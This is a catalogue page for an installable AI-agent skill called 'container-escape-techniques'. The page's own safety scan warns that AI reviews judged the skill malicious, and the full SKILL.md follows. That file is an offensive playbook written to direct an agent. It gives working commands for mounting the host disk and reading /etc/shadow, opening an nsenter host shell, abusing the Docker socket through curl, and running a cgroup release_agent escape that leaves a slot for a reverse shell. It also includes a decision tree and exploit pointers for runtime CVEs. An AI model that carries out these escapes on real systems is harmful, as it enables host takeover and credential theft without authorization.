container-escape-techniques
Container escape playbook
Install / Use
npx skills add yaklang/hack-skills --skill container-escape-techniquesInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of container-escape-techniques
container-escape-techniques scores 82/100 on our quality scale, 960th of 1,111 Security skills we index.
Its SKILL.md is 9.1 KB long, well organised into 82 sections with 18 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so container-escape-techniques is actively maintained.
- Our last check on 2026-11-07 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
WarningOur pattern rules found nothing in the whole file, but two independent AI reviews judged it malicious: The skill instructs the agent to mount the host filesystem, read /etc/shadow, chroot into the host, and run nsenter to obtain a full host shell (§2.1, §2.2, §2.3). Do not install container-escape-techniques.
AI review: malicious
- The skill instructs the agent to mount the host filesystem, read /etc/shadow, chroot into the host, and run nsenter to obtain a full host shell (§2.1, §2.2, §2.3).
- It provides concrete commands for process injection, Docker socket abuse, cgroup release_agent escapes, and runtime CVE exploitation (§3.2, §4, §5, §8), which compromise the host and can install backdoors.
- It explicitly includes reverse-shell payloads and exfiltration patterns (e.g., 'cat /etc/shadow > /output', 'reverse shell' in §5) and tells the agent to run them.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
container-escape-techniques compared with similar skills
All 4 of these similar skills score higher than container-escape-techniques; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| container-escape-techniques (this skill)by yaklang | 82 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install container-escape-techniques?
- Run
npx skills add yaklang/hack-skills --skill container-escape-techniques. The install tabs above show the steps for each supported agent. - Which AI agents does container-escape-techniques work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is container-escape-techniques safe to use?
- Our pattern rules found nothing in the whole file, but two independent AI reviews judged it malicious: The skill instructs the agent to mount the host filesystem, read /etc/shadow, chroot into the host, and run nsenter to obtain a full host shell (§2.1, §2.2, §2.3). Do not install container-escape-techniques. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is container-escape-techniques still maintained?
- The repository was last updated about 2 months ago, so container-escape-techniques is actively maintained.
Skill content
View source on GitHubname: container-escape-techniques description: >- Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.
SKILL: Container Escape Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
Advanced Reference
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
1. AM I IN A CONTAINER?
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
Tools for Container Detection
# amicontained: shows container runtime, capabilities, seccomp
./amicontained
# deepce: Docker enumeration and exploit suggester
./deepce.sh
# CDK: all-in-one container pentesting toolkit
./cdk evaluate
2. PRIVILEGED CONTAINER ESCAPE
If --privileged flag was used, the container has nearly all host capabilities and device access.
2.1 Mount Host Filesystem
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
2.2 nsenter (Enter Host Namespaces)
# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# This gives a shell in the host's namespace context
# Effectively a full host shell
2.3 Privileged + Host PID Namespace
# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/ # Host root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process
nsenter --target 1 --mount -- bash
3. CAPABILITY-BASED ESCAPE
3.1 CAP_SYS_ADMIN — Most Versatile
# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status
# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null
3.2 CAP_SYS_PTRACE — Process Injection
# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root
# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF
3.3 CAP_NET_ADMIN
# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L # Can see/modify host firewall rules?
ip route # Can modify routing?
3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)
# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow # Read host file
4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)
ls -la /var/run/docker.sock # Check if mounted
# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
5. CGROUP V1 RELEASE_AGENT ESCAPE
Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output
6. CGROUP V2 / eBPF ESCAPE
# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2
# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users
7. NAMESPACE ESCAPE
User Namespace
# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem
PID Namespace Escape
# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/ # Host's root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash
8. RUNTIME VULNERABILITIES
runc CVE-2019-5736
Overwrites host runc binary when docker exec is used.
# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host
# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently
containerd CVE-2020-15257
# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock
cgroups CVE-2022-0492
# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container
9. KUBERNETES POD ESCAPE
| Dangerous Pod Spec | Escape |
|---|---|
| hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
| hostNetwork: true | Access node services (Kubelet, etcd) directly |
| hostPath: {path: /} | chroot /host bash |
| privileged: true | Mount host disk / nsenter |
| SA token with RBAC | Create new privileged pod via API |
See kubernetes-pentesting for full K8s attack paths.
10. TOOLS
| Tool | Purpose | URL/Command |
|---|---|---|
| deepce | Docker enumeration + exploit suggestions | ./deepce.sh |
| CDK | Container/K8s exploitation toolkit | ./cdk evaluate |
| amicontained | Show container runtime, caps, seccomp | ./amicontained |
| PEIRATES | Kubernetes penetration testing | ./peirates |
| BOtB | Break out the Box — auto-escape | ./botb -autopwn |
11. CONTAINER ESCAPE DECISION TREE
Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│ └── Partial capabilities? Check each:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│ └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│ ├── Service account with elevated RBAC? → create escape pod (§9)
│ └── hostPath volume? → access host filesystem
│
└── None of the above?
├── Run deepce/CDK for automated detection
├── Check for writable host mount points
├── Enumerate network for other containers/services
└── Check /proc/self/mountinfo for interesting mounts
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
